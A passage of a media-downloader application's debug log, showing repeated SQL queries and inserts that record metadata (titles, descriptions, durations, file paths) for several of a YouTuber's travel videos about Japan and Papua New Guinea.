m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:06.011 [debug] QUERY OK source="media_items" db=0.3ms idle=8.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 19:30:06.011 [debug] Current batch of media processed. Will check again in 1000ms 19:30:07.012 [debug] Current batch of media processed. Will check again in 1000ms 19:30:08.013 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 19:30:08.014 [debug] QUERY OK source="sources" db=0.3ms idle=231.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:08.015 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=232.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:08.015 [debug] QUERY OK source="media_items" db=0.3ms idle=232.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 19:30:08.017 [debug] QUERY OK source="media_items" db=1.2ms idle=233.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "ed270c06-04c0-423a-a36f-e78fcb991392", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 02:30:08Z], ~U[2026-08-20 02:30:08Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 19:30:08.017 [debug] QUERY OK source="sources" db=0.2ms idle=66.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:08.018 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:08.018 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 19:30:08.019 [debug] Current batch of media processed. Will check again in 1000ms 19:30:09.019 [debug] Current batch of media processed. Will check again in 1000ms 19:30:10.020 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 19:30:10.021 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=238.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:10.021 [debug] QUERY OK source="sources" db=0.1ms idle=239.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:10.022 [debug] QUERY OK source="media_items" db=0.3ms idle=239.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 19:30:10.023 [debug] QUERY OK source="media_items" db=0.7ms idle=240.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "032131f9-7a3c-4599-808a-5805ddd62cb5", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 02:30:10Z], ~U[2026-08-20 02:30:10Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 19:30:10.023 [debug] QUERY OK source="sources" db=0.1ms idle=68.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:10.023 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:10.024 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 19:30:10.024 [debug] Current batch of media processed. Will check again in 1000ms 19:30:11.025 [debug] Current batch of media processed. Will check again in 1000ms 19:30:12.026 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 19:30:12.027 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=244.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:12.027 [debug] QUERY OK source="sources" db=0.1ms idle=245.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:12.028 [debug] QUERY OK source="media_items" db=0.2ms idle=245.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 19:30:12.029 [debug] QUERY OK source="media_items" db=0.7ms idle=245.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "0a3e40f6-d6be-472a-b6cd-3cda0570a356", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 02:30:12Z], ~U[2026-08-20 02:30:12Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 19:30:12.029 [debug] QUERY OK source="sources" db=0.1ms idle=70.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:12.030 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:12.030 [debug] QUERY OK source="media_items" db=0.1ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18986] 19:30:12.030 [debug] Current batch of media processed. Will check again in 1000ms 19:30:13.031 [debug] Current batch of media processed. Will check again in 1000ms 19:30:14.032 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2626, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", "id" => "xNeD65kGXlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xNeD65kGXlU", "playlist_index" => 12, "timestamp" => 1772809517, "title" => "I've Never Travelled Somewhere Like This (Remote PNG)", "upload_date" => "20260306"} 19:30:14.033 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=250.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 